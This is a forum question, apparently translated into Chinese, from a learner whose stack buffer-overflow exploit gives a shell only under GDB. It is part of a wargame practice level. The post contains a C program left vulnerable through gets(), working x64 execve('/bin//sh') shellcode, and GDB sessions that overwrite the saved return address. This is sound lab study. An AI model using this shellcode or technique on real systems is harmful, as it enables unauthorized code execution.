【发布时间】:2016-09-19 05:27:59
【问题描述】:
如果我直接用GDB修改返回地址,缓冲区溢出成功,我可以得到shell。但是,当我不使用 GDB 时,我无法获得具有相同 shell 代码的 shell。我找不到它们之间的任何区别。
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(void)
{
char str[256];
char *ptr;
int a;
printf("문장을 입력하세요.\n");
gets(str);
printf("%s\n", str);
}
上面是我的受害者程序“ftz_level12”。
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
如果我使用gdb的set指令,我可以得到这样的shell
(gdb) r
Starting program: /home/knight/bof_prac/ftz_level12
문장을 입력하세요.
hello
Breakpoint 1, 0x000000000040059c in main ()
(gdb) i r rbp
rbp 0x7fffffffe480 0x7fffffffe480
(gdb) set {int}0x7fffffffe488 = 0xffffeed0
(gdb) set {int}0x7fffffffe48c = 0x7fff
(gdb) disable
(gdb) c
Continuing.
hello
process 4443 is executing new program: /bin/dash
$
如果我不使用 set 指令,我就无法获得 shell
(gdb) r < code
Starting program: /home/knight/bof_prac/ftz_level12 < code
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????abcdefgh?????
process 4449 is executing new program: /bin/dash
[Inferior 1 (process 4449) exited normally]
以上是我使用的 shell 代码。 我使用的是 ubuntu 16.04 和 x64 架构
【问题讨论】:
-
我读了那个链接。我认为它真的很有用。但是读了之后,我觉得有点奇怪。实际上它在 gdb 上也不能很好地运行。如果我用 gdb 的 set 指令指定返回地址,我可以得到 shell。如果我不使用它,即使我使用 gdb 也无法获得 shell。
-
你说的“我能拿到壳”是什么意思?
-
我英语不好。我添加了有问题的“我可以得到外壳”
标签: shell gdb buffer-overflow shellcode